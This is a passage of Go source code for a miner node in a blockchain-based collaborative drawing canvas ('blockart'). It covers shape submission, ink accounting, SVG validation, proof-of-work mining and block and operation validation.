cost := shape.ShapeToVertexList(svgshape)\n\n\n\tif fill != \"transparent\" {\n\n\t\tif !(vertexList[0].X == vertexList[len(vertexList)-1].X && vertexList[0].Y == vertexList[len(vertexList)-1].Y) {\n\t\t\treply.ShapeHash= \"1\"\n\t\t\terr = blockartlib.InvalidShapeSvgStringError(\"svgshape\")\n\t\t\treturn\n\t\t}\n\t\tif stroke != \"transparent\" {\n\t\t\tcost += shape.GetArea(vertexList)\n\t\t} else {\n\t\t\tcost = shape.GetArea(vertexList)\n\t\t}\n\t} else {\n\t\tif stroke == \"transparent\" {\n\t\t\treply.ShapeHash = \"1\"\n\t\t\treturn\n\t\t}\n\t}\n\n\t//checking if OutOfBoundsError:\n\tfor _, v := range vertexList {\n\t\tif uint32(v.Y) > m.Settings.CanvasSettings.CanvasYMax || uint32(v.X) > m.Settings.CanvasSettings.CanvasXMax {\n\t\t\treply.ShapeHash = \"4\"\n\t\t\terr = blockartlib.OutOfBoundsError{}\n\t\t\treturn\n\t\t}\n\t}\n\n\tm.Ink.Mux.RLock()\n\tdefer m.Ink.Mux.RUnlock()\n\thash := selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\tblocks := m.TraceBlockToGenesis(hash)\n\n\t// InkMap for checking if there is sufficient ink to draw new operation\n\tvar ink uint32 = 0\n\n\tfor _, block := range blocks {\n\t\tfor _, op := range block.Operations {\n\t\t\tif (*m.PublicKey == op.Owner) {\n\t\t\t\tif (op.Delete) {\n\t\t\t\t\tink += op.InkUsed\n\t\t\t\t} else {\n\t\t\t\t\tink -= op.InkUsed\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Reward creator for generating the blocks\n\t\tif (*m.PublicKey == block.Creator) {\n\t\t\tif block.Noop {\n\t\t\t\tink += m.Settings.InkPerNoOpBlock\n\t\t\t} else {\n\t\t\t\tink += m.Settings.InkPerOpBlock\n\t\t\t}\n\t\t}\n\t}\n\tok = uint32(cost) > ink\n\n\tif ok {\n\t\tfmt.Println(\"not enough ink\")\n\t\treply.BlockHash = strconv.Itoa(int(cost))\n\t\terr = blockartlib.InsufficientInkError(uint32(cost))\n\t\treturn\n\t}\n\n\t//sending it to the pow for creation... wrap it in a block structure first\n\topStrng := \"\" + time.Now().String() + \"false\"\n\tr, s, err := ecdsa.Sign(rand.Reader, m.PrivateKey, []byte(opStrng))\n\tif err != nil {\n\t\treturn err\n\t}\n\topSig := string(r.String() + \" \" + s.String())\n\tpath := shared.Path{D: svgshape, Fill: fill, Stroke: stroke, VertexList: vertexList}\n\top := shared.Operation{ValidateNum: validateNum, Owner: *m.PublicKey, Op: opStrng, OpSig: opSig, Delete: false, Shape: path, InkUsed: uint32(cost)}\n\n m.OpSigChMapMux.Lock()\n m.OpSigChMap[opSig] = OpInfo{ValidateNum: validateNum, ch: make(chan ValidatedOp)}\n m.OpSigChMapMux.Unlock()\n\n\tm.OpCh <- op\n fmt.Println(\"addshape op: \", op)\n miners.PublishOperation(op, make(map[string]int))\n\tshapeHash := opSig\n\n\treply.ShapeHash = shapeHash\n\tm.Ink.Mux.RLock()\n\tdefer m.Ink.Mux.RUnlock()\n\treply.InkRemaining = m.Ink.Bank\n\t//TODO: BLOCKHASH RECEIVED FROM CHANNEL AFTER OP IS VALIDATED, SHOULD HAVE THE HASH AND BLOCK\n\t//reply.BlockHash =\n opInfo := <- m.OpSigChMap[opSig].ch\n m.OpSigChMapMux.Lock()\n delete (m.OpSigChMap, opSig)\n m.OpSigChMapMux.Unlock()\n\n if opInfo.valid {\n m.OperationHashMap.Mux.Lock()\n defer m.OperationHashMap.Mux.Unlock()\n m.OperationHashMap.OpHash[shapeHash] = op\n reply.BlockHash = opInfo.blockHash\n } else {\n\t\treply.ShapeHash = \"3\"\n\t\terr = blockartlib.ShapeOverlapError(\"ShapeOverlapError\")\n\t\treturn\n\t}\n\treturn\n}\n\nfunc contains(arr []string, str string) bool {\n\tfor _, a := range arr {\n\t\tif a == str {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n\nfunc checkSVGString(str, fill, stroke string) (ok bool, err error) {\n\tvar regex *regexp.Regexp\n\tif fill == \"transparent\" {\n\t\tregex = regexp.MustCompile(`^([mM]\\s(\\d)+\\s(\\d)+)((\\s[hHvV](\\s-?(\\d)+)?)|(\\s[lL](\\s-?(\\d)+)(\\s-?(\\d)+))|(\\s[mM]\\s(\\d)+\\s(\\d)+))|(\\s[zZ])*(\\s[zZ])?$`)\n\t} else {\n\t\tregex = regexp.MustCompile(`^([mM]\\s(\\d)+\\s(\\d)+)((\\s[hHvV](\\s-?(\\d)+)?)|(\\s[lL](\\s-?(\\d)+)(\\s-?(\\d)+)))*(\\s[zZ])?$`)\n\t}\n\tcsvFile, _ := os.Open(\"Colour.csv\")\n\treader := csv.NewReader(bufio.NewReader(csvFile))\n\tvar colour =[]string{}\n\tfor {\n\t\tline, error := reader.Read()\n\t\tif error == io.EOF {\n\t\t\tbreak\n\t\t} else if error != nil {\n\t\t\tlog.Fatal(error)\n\t\t}\n\t\tx:=strings.ToLower(line[1])\n\t\ti := strings.Index(x, \"(\")\n\t\tif i>-1{\n\t\t\tcolour = append( colour,x[:i-1])\n\n\t\t}else{\n\t\t\tcolour = append( colour,x)\n\t\t}\n\n\t}\n\t if (contains(colour,fill)==false){\n\t \tif fill !=\"transparent\"{\n\t \t\t//for _,X := range colour{\n\t \t\t//\tfmt.Println(X)\n\t\t\t//}\n\t\t\t//fmt.Println(\"fill: \", fill)\n\t \t\t//os.Exit(0)\n\t\t\treturn false, blockartlib.InvalidShapeSvgStringError(\"colourIS\"+fill)\n\t\t}\n\t }\n\t if contains(colour,stroke)==false{\n\t\t return false, blockartlib.InvalidShapeSvgStringError(\"colourIS\"+stroke)\n\t }\n\n\t//first check for valid svg shape string\n\t//regex = ([mM]\\s(\\d)+\\s(\\d)+)(\\s[hHvVlL](\\s-?(\\d)+)+)+\\s[zZ]\n\tok = regex.MatchString(str)\n\tif !ok {\n\t\treturn false, blockartlib.InvalidShapeSvgStringError(str)\n\t}\n\t//then check if svg string too long\n\tregex = regexp.MustCompile(`.{0,255}`)\n\tok = regex.MatchString(str)\n\tif !ok {\n\t\treturn false, blockartlib.ShapeSvgStringTooLongError(str)\n\t}\n\treturn true, nil\n}\n\nfunc (m *Miner) GetInk(blank interface{}, inkRemaining *uint32) (err error) {\n\thash := selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\n\tblocks := m.TraceBlockToGenesis(hash)\n\n\t// InkMap for checking if there is sufficient ink to draw new operation\n\tvar ink uint32 = 0\n\n\tfor _, block := range blocks {\n\t\tfor _, op := range block.Operations {\n\t\t\tif (*m.PublicKey == op.Owner) {\n\t\t\t\tif (op.Delete) {\n\t\t\t\t\tink += op.InkUsed\n\t\t\t\t} else {\n\t\t\t\t\tink -= op.InkUsed\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Reward creator for generating the blocks\n\t\tif (*m.PublicKey == block.Creator) {\n\t\t\tif block.Noop {\n\t\t\t\tink += m.Settings.InkPerNoOpBlock\n\t\t\t} else {\n\t\t\t\tink += m.Settings.InkPerOpBlock\n\t\t\t}\n\t\t}\n\t}\n\n\t*inkRemaining = ink\n\n\treturn\n}\n\nfunc (m *Miner) GetSVGShape(shapeHash string, svgString *string) (err error) {\n\tm.OperationHashMap.Mux.RLock()\n\tdefer m.OperationHashMap.Mux.RUnlock()\n\toperation, ok := m.OperationHashMap.OpHash[shapeHash]\n\tif !ok {\n\t\t*svgString = \"0\"\n\t\terr = blockartlib.InvalidShapeHashError(shapeHash)\n\t\treturn\n\t}\n\t//if doesn't return anyhting return invalid shapehash\n\t*svgString = operation.Op\n\treturn\n}\n\nfunc (m *Miner) GetGenesisBlock(blank interface{}, blockHash *string) (err error) {\n\t*blockHash = m.Settings.GenesisBlockHash\n\treturn\n}\n\nfunc (m *Miner) DeleteShape(args shared.DeleteShapeArgs, inkRemaining *uint32) (err error) {\n\t//TODO: look in m.OperationHashMap and check for the shapehash in args, then grab it, create a new op which is delete for op\n\t//then do what we do in addshape to send the op and wait for the blockhash etc...\n\tm.OperationHashMap.Mux.RLock()\n\tshape, ok := m.OperationHashMap.OpHash[args.ShapeHash]\n\tm.OperationHashMap.Mux.RUnlock()\n\tif !ok {\n\t\t*inkRemaining = uint32(0)\n\t\terr = blockartlib.ShapeOwnerError(\"bad owner\")\n\t\treturn\n\t}\n\top := shape\n\topStrng := \"\" + time.Now().String() + \"true\"\n\tr, s, err := ecdsa.Sign(rand.Reader, m.PrivateKey, []byte(opStrng))\n\tif err != nil {\n\t\treturn\n\t}\n\topSig := string(r.String() + \" \" + s.String())\n\top.OpSig = opSig\n\top.Op = opStrng\n\top.Delete = true\n\top.ValidateNum = args.ValidateNum\n\tm.OpCh <- op\n\tfmt.Println(\"deleteshape op: \", op)\n miners.PublishOperation(op, make(map[string]int))\n m.OpSigChMapMux.Lock()\n m.OpSigChMap[opSig] = OpInfo{ValidateNum: args.ValidateNum, ch: make(chan ValidatedOp)}\n m.OpSigChMapMux.Unlock()\n\n <- m.OpSigChMap[opSig].ch\n m.OpSigChMapMux.Lock()\n\tm.OperationHashMap.Mux.Lock()\n\tdefer m.OperationHashMap.Mux.Unlock()\n defer m.OpSigChMapMux.Unlock()\n delete(m.OpSigChMap, opSig)\n\tdelete(m.OperationHashMap.OpHash, args.ShapeHash)\n\treturn\n}\n\nfunc (m *Miner) GetShapes(blockHash string, shapeHashes *[]string) (err error) {\n\tm.BlockHashMap.Mux.RLock()\n\tdefer m.BlockHashMap.Mux.RUnlock()\n\tblock, ok := m.BlockHashMap.BlockHash[blockHash]\n\t//if doesn't return anyhting return invalid blockhash\n\tif block.Noop || !ok {\n\t\t*shapeHashes = append(*shapeHashes, \"0\")\n\t\terr = blockartlib.InvalidBlockHashError(blockHash)\n\t\treturn\n\t}\n\n\toperations := block.Operations\n\tfor _, v := range operations {\n\t\t*shapeHashes = append(*shapeHashes, v.OpSig)\n\t}\n\treturn\n\n}\n\nfunc (m *Miner) GetChildren(blockhash string, blockhashes *[]string) (err error) {\n\tm.BlockHashMap.Mux.RLock()\n\tdefer m.BlockHashMap.Mux.RUnlock()\n\t_, ok := m.BlockHashMap.BlockHash[blockhash]\n\tif !ok {\n\t\t*blockhashes = append(*blockhashes, \"0\")\n\t\terr = blockartlib.InvalidBlockHashError(blockhash)\n\t\treturn\n\t}\n\n\tfor key, value := range m.BlockHashMap.BlockHash {\n\t\tif value.Parent == blockhash {\n\t\t\t*blockhashes = append(*blockhashes, key)\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (m *Miner) CloseCanvas(blank interface{}, inkRemaining *uint32) (err error) {\n\n\thash := selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\n\tblocks := m.TraceBlockToGenesis(hash)\n\n\t// InkMap for checking if there is sufficient ink to draw new operation\n\tvar ink uint32 = 0\n\n\tfor _, block := range blocks {\n\t\tfor _, op := range block.Operations {\n\t\t\tif (*m.PublicKey == op.Owner) {\n\t\t\t\tif (op.Delete) {\n\t\t\t\t\tink += op.InkUsed\n\t\t\t\t} else {\n\t\t\t\t\tink -= op.InkUsed\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Reward creator for generating the blocks\n\t\tif (*m.PublicKey == block.Creator) {\n\t\t\tif block.Noop {\n\t\t\t\tink += m.Settings.InkPerNoOpBlock\n\t\t\t} else {\n\t\t\t\tink += m.Settings.InkPerOpBlock\n\t\t\t}\n\t\t}\n\t}\n\n\t*inkRemaining = ink\n\treturn\n}\n\nfunc GetPublicPrivateKeyPair() (*ecdsa.PrivateKey, *ecdsa.PublicKey) {\n\tpriv, err := ecdsa.GenerateKey(elliptic.P521(), rand.Reader)\n\texitOnError(\"ink-miner GetPublicPrivateKeyPair\", err)\n\tprivateKeyBytes, _ := x509.MarshalECPrivateKey(priv)\n\tpublicKeyBytes, _ := x509.MarshalPKIXPublicKey(&priv.PublicKey)\n\n\tencodedPrivateBytes := hex.EncodeToString(privateKeyBytes)\n\tencodedPublicBytes := hex.EncodeToString(publicKeyBytes)\n\tfmt.Println(\"Private: \", encodedPrivateBytes, \"\\n\")\n\tfmt.Println(\"Public: \", encodedPublicBytes)\n\n\treturn priv, &priv.PublicKey\n}\n\nfunc pubKeyToString(key ecdsa.PublicKey) string {\n\treturn string(elliptic.Marshal(key.Curve, key.X, key.Y))\n}\n\nfunc computeNonceSecretHash(op string) string {\n\th := md5.New()\n\th.Write([]byte(op))\n\tstr := hex.EncodeToString(h.Sum(nil))\n\treturn str\n}\n\nfunc exitOnError(prefix string, err error) {\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"%s, err = %s\\n\", prefix, err.Error())\n\t\tos.Exit(1)\n\t}\n}\n\n/*\n We're always mining in each loop, regardless of no-op or op. If there are no operations\n the mining function will recognize that it's a no-op.\n*/\nfunc (m *Miner) MinerRoutine() {\n\t// if operations not empty,\n\t// this will be signal for noop to stop in the middle of block generation when an operation has arrived\n\tfmt.Println(\"Routine starting\")\n\tfmt.Println(\"Starting off a no-op block\")\n\tm.CurrNextHash = selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\tm.CurrOperationsMux.Lock()\n\tgo m.Mine()\n\n\tfor {\n\t\tm.CurrOperationsMux.RLock()\n\t\tif len(m.CurrOperations) < MAX_OPS_PER_BLOCK {\n\t\t\t// fmt.Printf(\"curr number of operations: %v\\n\", len(m.CurrOperations))\n\t\t\tm.CurrOperationsMux.RUnlock()\n\t\t\tselect {\n\t\t\tcase block := <-m.BlockCh:\n fmt.Println(\"Received a block\")\n\t\t\t\t// new block has arrived, validate block (need function)\n\t\t\t\tif m.validateBlock(block) {\n\t\t\t\t\tm.addBlockToChain(block)\n\t\t\t\t\tm.CurrOperationsMux.Lock()\n\t\t\t\t\tif m.Mining && m.CurrNextHash == block.Parent {\n\t\t\t\t\t\tfmt.Println(\"Currently working on the same block - restarting block\")\n m.Stop <- true\n\n fmt.Println(\"stopped\")\n\t\t\t\t\t\tm.CurrOperations, m.InvalidOperations, m.CurrNextHash = m.filterOperations(m.CurrOperations, block.Operations)\n\t\t\t\t\t\tgo m.Mine()\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t} else {\n\t\t\t\t\t\tm.CurrOperationsMux.Unlock()\n\t\t\t\t\t}\n\t\t\t\t} else {\n m.printBlock(block, false, false)\n }\n\n\t\t\t\tm.CurrOperationsMux.Lock()\n\t\t\t\tif !m.Mining {\n\t\t\t\t\tfmt.Println(\"Not currently mining a block - mining a no-op\")\n\t\t\t\t\tm.CurrNextHash = selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\t\t\t\t\tgo m.Mine()\n\t\t\t\t} else {\n\t\t\t\t\tm.CurrOperationsMux.Unlock()\n\t\t\t\t}\n\n\t\t\tcase op := <-m.OpCh:\n\t\t\t\tfmt.Printf(\"Received a new operation %v\\n\", op.Op)\n\n\t\t\t\t// check that the operations are valid against the longest chain, and return the hash of the longest chain block\n\t\t\t\t// filter out operations that aren't done\n\t\t\t\tvalid, prevHash := m.ValidateOperations(m.CurrOperations, op)\n\t\t\t\tm.CurrOperationsMux.Lock()\n\t\t\t\tif valid {\n\t\t\t\t\tm.CurrNextHash = prevHash\n\t\t\t\t\t// fmt.Println(\"mining: \", m.Mining)\n\t\t\t\t\t// fmt.Println(\"Printing Current Operations:\")\n\t\t\t\t\t// m.printOperations(m.CurrOperations)\n\t\t\t\t\tif m.Mining {\n\n\t\t\t\t\t\t// we've yet to finish the previous block\n m.Stop <- true\n\t\t\t\t\t}\n\t\t\t\t\tm.CurrOperations = append(m.CurrOperations, op)\n\t\t\t\t\tgo m.Mine()\n\t\t\t\t} else {\n m.InvalidOperations = append(m.InvalidOperations, op)\n // fmt.Println(\"Printing Invalid Operations\")\n // m.printOperations(m.InvalidOperations)\n\t\t\t\t\tm.CurrOperationsMux.Unlock()\n\t\t\t\t}\n default:\n\t\t\t}\n\t\t} else {\n\t\t\tm.CurrOperationsMux.RUnlock()\n\t\t\t// we can't take any more ops in the current mining routine fuk off\n\t\t\tselect {\n\t\t\tcase block := <-m.BlockCh:\n\t\t\t\tfmt.Printf(\"New block arrived, can't take any more ops\\n\")\n\t\t\t\t// new block has arrived, validate block (need function)\n\t\t\t\tif m.validateBlock(block) {\n\t\t\t\t\tm.addBlockToChain(block)\n\t\t\t\t\tm.CurrOperationsMux.Lock()\n\t\t\t\t\tif m.Mining && m.CurrNextHash == block.Parent {\n\t\t\t\t\t\tfmt.Println(\"Currently working on the same block - restarting block\")\n m.Stop <- true\n\t\t\t\t\t\tm.CurrOperations, _, m.CurrNextHash = m.filterOperations(m.CurrOperations, block.Operations)\n\t\t\t\t\t\tgo m.Mine()\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t} else {\n\t\t\t\t\t\tm.CurrOperationsMux.Unlock()\n\t\t\t\t\t}\n\t\t\t\t} else {\n m.printBlock(block, false, false)\n }\n\n\t\t\t\tm.CurrOperationsMux.Lock()\n\t\t\t\tif !m.Mining {\n\t\t\t\t\tfmt.Println(\"Not currently mining a block - mining a no-op\")\n\t\t\t\t\tm.CurrNextHash = selectRandomHash(m.BlockHashMap.LongestChainHashes)\n\t\t\t\t\tgo m.Mine()\n\t\t\t\t} else {\n\t\t\t\t\tm.CurrOperationsMux.Unlock()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (m *Miner) Mine() {\n\tm.Mining = true\n select {\n case <-m.Stop:\n fmt.Println(\"Leftover stop from last round\")\n default:\n fmt.Println(\"no leftover stops\")\n }\n fmt.Println(\"mining\")\n m.Stop <- false\n\tnewBlock := new(shared.Block)\n\tnewBlock.Parent = m.CurrNextHash\n\tnewBlock.Operations = m.CurrOperations\n newBlock.InvalidOps = m.InvalidOperations\n\tnewBlock.Noop = len(newBlock.Operations) == 0\n\tnewBlock.Creator = *m.PublicKey\n\tvar difficulty uint8\n\tif newBlock.Noop {\n\t\tdifficulty = m.Settings.PoWDifficultyNoOpBlock\n\t} else {\n\t\tdifficulty = m.Settings.PoWDifficultyOpBlock\n\t}\n\tm.CurrOperationsMux.Unlock()\n\tminers.BruteForceNonce(newBlock, int64(difficulty), m.Stop)\n\tif newBlock.Nonce == \"\" {\n\t\t// likely the mining routine stopped early\n\t\t// m.CurrOperationsMux.Lock()\n\t\t// defer m.CurrOperationsMux.Unlock()\n\t\t// m.Mining = false\n\t\treturn\n\t}\n\t//new block is now mined, we've already validated the options so now we can just add it to our blockCh to be handled\n\t// call some func to propagate this block to all other nodes\n\t// reset all current operations\n\n\tm.CurrOperationsMux.Lock()\n fmt.Println(\"Stopped mining\")\n\tm.Mining = false\n\tm.CurrOperations = make([]shared.Operation, 0)\n m.InvalidOperations = make([]shared.Operation, 0)\n m.CurrOperationsMux.Unlock()\n m.BlockCh <- *newBlock\n fmt.Println(\"Mined\")\n miners.PublishBlockCh(*newBlock, make(map[string]int))\n // m.CurrOperationsMux.Unlock()\n}\n\n// validate the newOp aganist the existing operations on top of the longest chain\n// Pick one of the valid random longestChain if there are multiple valid ones\n// Operation satisfies the following:\n// 1) Sufficient Ink\n// 2) Does not intersect with shapes created by other artnodes\n// 3) Identical Signature have not been previously added\n// 4) Opeartion that delete shapes refer to a shape that exists\nfunc (m *Miner) ValidateOperations(currOps []shared.Operation, newOp shared.Operation) (bool, string) {\n\t// if more than 1 valid longest chain hash, use this\n\tvar validHashes []string\n\n\t// Check if each of the longest chains are valid\n\tfor _, hash := range m.BlockHashMap.LongestChainHashes {\n\t\tblocks := m.TraceBlockToGenesis(hash)\n\n\t\t// Create a Canvas based on this chain\n\t\tcanvas := make(map[string][]shared.CanvasShape)\n\t\t// InkMap for checking if there is sufficient ink to draw new operation\n\t\tinkMap := make(map[string]uint32)\n\t\t// opSigMap to check identical signature have not been previously added\n\t\topSigMap := make(map[string]uint32)\n\n\t\t// Update canvas, inkMap and opSigMap as we traverse each block on the blockchain\n\t\tfor _, block := range blocks {\n\t\t\tfor _, op := range block.Operations {\n\t\t\t\tm.UpdateStatesForOperation(op, &canvas, &inkMap, &opSigMap)\n\t\t\t}\n\t\t\t// Reward creator for generating the blocks\n\t\t\tif block.Noop {\n\t\t\t\tinkMap[shared.PubKeyToString(block.Creator)] += m.Settings.InkPerNoOpBlock\n\t\t\t} else {\n\t\t\t\tinkMap[shared.PubKeyToString(block.Creator)] += m.Settings.InkPerOpBlock\n\t\t\t}\n\t\t}\n\n\t\t// Update canvas, inkMap and opSigMap as we traverse currOps\n\t\tfor _, op := range currOps {\n\t\t\tm.UpdateStatesForOperation(op, &canvas, &inkMap, &opSigMap)\n\t\t}\n\n\t\t// if operation is valid, add it to validHashes\n\t\tif m.ValidateOperation(newOp, canvas, inkMap, opSigMap) {\n\t\t\tvalidHashes = append(validHashes, hash)\n\t\t}\n\t}\n\n\t// Select a validHash Randomly if there is more than one\n\tselector := big.NewInt(0)\n\tif len(validHashes) >= 1 {\n\t\t// uniformly select a number between 0 and # valid hashes\n\t\tselector, _ = rand.Int(rand.Reader, big.NewInt(int64(len(validHashes))))\n\t\tvalidHash := validHashes[selector.Int64()]\n\t\tfmt.Println(\"ValidateOperations: Operation Valid, returning a random validhash\", validHash)\n\t\treturn true, validHash\n\t} else {\n\t\tfmt.Println(\"ValidateOperations: Operation Invalid, returning false\", newOp)\n\t\treturn false, \"\"\n\t}\n\n}\n\n// Check if provided op is valid against the provided canvas, inkMap and opSigMap\n// Operation is valid if it satisfies the following:\n// 1) Sufficient Ink\n// 2) Does not intersect with shapes created by other artnodes\n// 3) Identical Signature have not been previously added\n// 4) Operation that delete shapes refer to a shape that exists\nfunc (m *Miner) ValidateOperation(op shared.Operation, canvas map[string][]shared.CanvasShape, inkMap map[string]uint32, opSigMap map[string]uint32) bool {\n\t// 1) Check for Sufficient Ink\n\tif !op.Delete && inkMap[shared.PubKeyToString(op.Owner)] < op.InkUsed {\n fmt.Println(shared.PubKeyToString(op.Owner))\n\t\tfmt.Println(\"ValidateOperation: Not Enough Ink Br0 wdym\")\n\t\treturn false\n\t}\n\n\t// This bool is to check if deleteShape operation refer to a shape that exists\n\tfoundShape := false\n\n\t// 2) Check for Intersection with shapes created by other artnodes\n\tfor k, v := range canvas {\n\t\tfor _, s := range v {\n\t\t\t// If this shape is not owned by op.Owner, we check for intersect\n\t\t\tif k != shared.PubKeyToString(op.Owner) {\n\t\t\t\t\tfmt.Println(\"ValidateOperation: Checking Intersection\")\n\t\t\t\tif shape.IsPathIntersect(op.Shape.VertexList, s.Shape.VertexList) {\n\t\t\t\t\tfmt.Println(\"ValidateOperation: Dude these two shapes intersect stop\", op.Shape.VertexList, s.Shape.VertexList)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t} else { // If this shape is owned by op.Owner, we check if deleteShape operation refers to this shape\n\t\t\t\tif comparePath(op.Shape, s.Shape){\n\t\t\t\t\tfmt.Println(\"ValidateOperation: Yo Boi I found yo shape\", op.Op)\n\t\t\t\t\tfoundShape = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// 3) Check if identical Sig have been previously added\n\t_, ok := opSigMap[op.OpSig]\n\tif ok {\n\t\tfmt.Println(\"ValidateOperation: STOP trying to add the same operation\")\n\t\treturn false\n\t}\n\n\t// 4) Operation that delete shapes refer to a shape that exists\n\tif op.Delete && !foundShape {\n\t\tfmt.Println(\"ValidateOperation: Yo man I cant find the shape you are trying to delete\")\n return false\n\t}\n\n\tfmt.Println(\"ValidateOperation: Operation is Valid\", op.Op)\n\treturn true\n}\n\n// Update canvas, inkMap and opSigMap for provided operation\nfunc (m *Miner) UpdateStatesForOperation(op shared.Operation, canvas *map[string][]shared.CanvasShape, inkMap *map[string]uint32, opSigMap *map[string]uint32) {\n\t// Keep track of each operation ink spent and\n\t// Add/Remove Shape on Canvas\n\tif op.Delete {\n\t\t// Try to find the Shape to delete\n\t\t// Assuming we will always find the shape to delete because the chain should be valid all the way\n\t\tfor k, canvasShape := range (*canvas)[shared.PubKeyToString(op.Owner)] {\n\t\t\tif comparePath(canvasShape.Shape, op.Shape) {\n\t\t\t\t(*canvas)[shared.PubKeyToString(op.Owner)] = append((*canvas)[shared.PubKeyToString(op.Owner)][:k], (*canvas)[shared.PubKeyToString(op.Owner)][k+1:]...)\n\t\t\t}\n\t\t}\n\t\t(*inkMap)[shared.PubKeyToString(op.Owner)] += op.InkUsed\n\t\tfmt.Println(\"UpdateStatesForOperation: Adding Ink \", op.InkUsed)\n\t} else {\n\t\tcanvasShape := shared.CanvasShape{Shape: op.Shape, Op: op.Op, OpSig: op.OpSig}\n\t\t(*canvas)[shared.PubKeyToString(op.Owner)] = append((*canvas)[shared.PubKeyToString(op.Owner)], canvasShape)\n\n\t\t(*inkMap)[shared.PubKeyToString(op.Owner)] -= op.InkUsed\n\t\tfmt.Println(\"UpdateStatesForOperation: Removing Ink \", op.InkUsed)\n\t}\n\n\t// Saving seen operations, Setting an arbitrary value, doesn't matter what\n\t(*opSigMap)[op.OpSig] = 1\n}\n\n// Traces b to GenesisBlock and return an array of the visited blocks\nfunc (m *Miner) TraceBlockToGenesis(blockHash string) []shared.Block {\n\tvar blocks []shared.Block\n\tblock, ok := m.BlockHashMap.BlockHash[blockHash]\n\tif ok {\n\t\tfor block.Parent != \"\" {\n\t\t\tblocks = append(blocks, block)\n\t\t\tblock = m.BlockHashMap.BlockHash[block.Parent]\n\t\t}\n\t}\n\n\t// We want to reverse blocks so that genesisblock is at index 0\n\tblocks = ReverseBlockList(blocks)\n\n\treturn blocks\n}\n\nfunc ReverseBlockList(blocks []shared.Block) []shared.Block {\n\tfor i, j := 0, len(blocks)-1; i < j; i, j = i+1, j-1 {\n\t\tblocks[i], blocks[j] = blocks[j], blocks[i]\n\t}\n\treturn blocks\n}\n\n// Comapre two Paths and see if they are equal\nfunc comparePath(p1 shared.Path, p2 shared.Path) bool {\n\tif p1.D != p2.D {\n\t\treturn false\n\t}\n\tif p1.Fill != p2.Fill {\n\t\treturn false\n\t}\n\tif p1.Stroke != p2.Stroke {\n\t\treturn false\n\t}\n\tif !comparePoint2DArrays(p1.VertexList, p2.VertexList) {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// Compare two point2dArray\nfunc comparePoint2DArrays(a, b []shared.Point2d) bool {\n\tif a == nil && b == nil {\n\t\treturn true\n\t}\n\tif a == nil || b == nil {\n\t\treturn false\n\t}\n\tif len(a) != len(b) {\n\t\treturn false\n\t}\n\n\tfor i := range a {\n\t\tif a[i] != b[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (m *Miner) validateBlock(block shared.Block) bool {\n\t// check that hashing everything + nonce returns a hash with right # of zeros\n\t// check that each opsig is valid, with op public key + op\n\t// check that prev block hash points to some good shit (existing block)\n\thash := miners.ComputeHash(block)\n\tvar difficulty uint8\n\tif block.Noop {\n\t\tdifficulty = m.Settings.PoWDifficultyNoOpBlock\n\t} else {\n\t\tdifficulty = m.Settings.PoWDifficultyOpBlock\n\t}\n\tif miners.CheckLastNOfHash(int(difficulty), hash) {\n\t\tfor _, op := range block.Operations {\n\t\t\tif !verifyOperation(op) {\n fmt.Printf(\"Failed to verify operation: \")\n m.printOperation(op, false)\n fmt.Printf(\"\\n\")\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tfmt.Println(\"Operation is verified: \", op.Op)\n\t\t}\n\n\t\t_, ok := m.BlockHashMap.BlockHash[block.Parent]\n\t\tif !ok {\n fmt.Println(\"Cant find parent\", block.Parent)\n\t\t\treturn false\n\t\t}\n\n\t\treturn true\n\t}\n\n fmt.Println(\"Block has wrong number of zeros\", hash)\n\treturn false\n}\n\nfunc (m *Miner) addBlockToChain(block shared.Block) {\n\tm.BlockHashMap.Mux.Lock()\n\tdefer m.BlockHashMap.Mux.Unlock()\n\t// parent's depth in the chain\n\tblock.Depth = m.BlockHashMap.BlockHash[block.Parent].Depth + 1\n\n\n\tblockHash := miners.ComputeHash(block)\n\tif block.Depth == m.BlockHashMap.Length {\n\t\t// it's another longest chain\n\t\tm.BlockHashMap.LongestChainHashes = append(m.BlockHashMap.LongestChainHashes, blockHash)\n m.BlockHashMap.BlockHash[blockHash] = block\n m.printBlock(block, true, true)\n\t} else if block.Depth > m.BlockHashMap.Length {\n\t\t// it's the new longest chain, so erase previous longest chain hashes\n\t\tm.BlockHashMap.LongestChainHashes = make([]string, 1)\n\t\tm.BlockHashMap.LongestChainHashes[0] = blockHash\n\t\tm.BlockHashMap.Length += 1\n m.BlockHashMap.BlockHash[blockHash] = block\n m.checkOpValidNum()\n m.printBlock(block, true, false)\n\t}\n\n}\n\nfunc (m *Miner) checkOpValidNum() {\n m.OpSigChMapMux.Lock()\n defer m.OpSigChMapMux.Unlock()\n // fmt.Printf(\"Seeing if there are stuff to verify\\n\")\n if len(m.OpSigChMap) > 0 {\n // fmt.Printf(\"Verifying %v operations\\n\", len(m.OpSigChMap))\n for opSig, _ := range m.OpSigChMap {\n // check down the blockchain ->\n validateNum := m.OpSigChMap[opSig].ValidateNum\n hash := m.BlockHashMap.LongestChainHashes[0]\n block := m.BlockHashMap.BlockHash[hash]\n for i := int64(0); i < m.BlockHashMap.Length; i+= 1 {\n // fmt.Printf(\"Checking the %vth block before\\n\", i)\n if i >= int64(validateNum) {\n // fmt.Printf(\"Chain is now long enough to validate, checking the %vth block before\\n\", i)\n // m.printBlock(block)\n if containsOp(block.Operations, opSig) {\n fmt.Println(\"Found operation, operation is valid\")\n m.OpSigChMap[opSig].ch <- ValidatedOp{blockHash: hash, valid: true}\n return\n } else if containsOp(block.InvalidOps, opSig) {\n fmt.Println(\"Found operation, operation is invalid\")\n 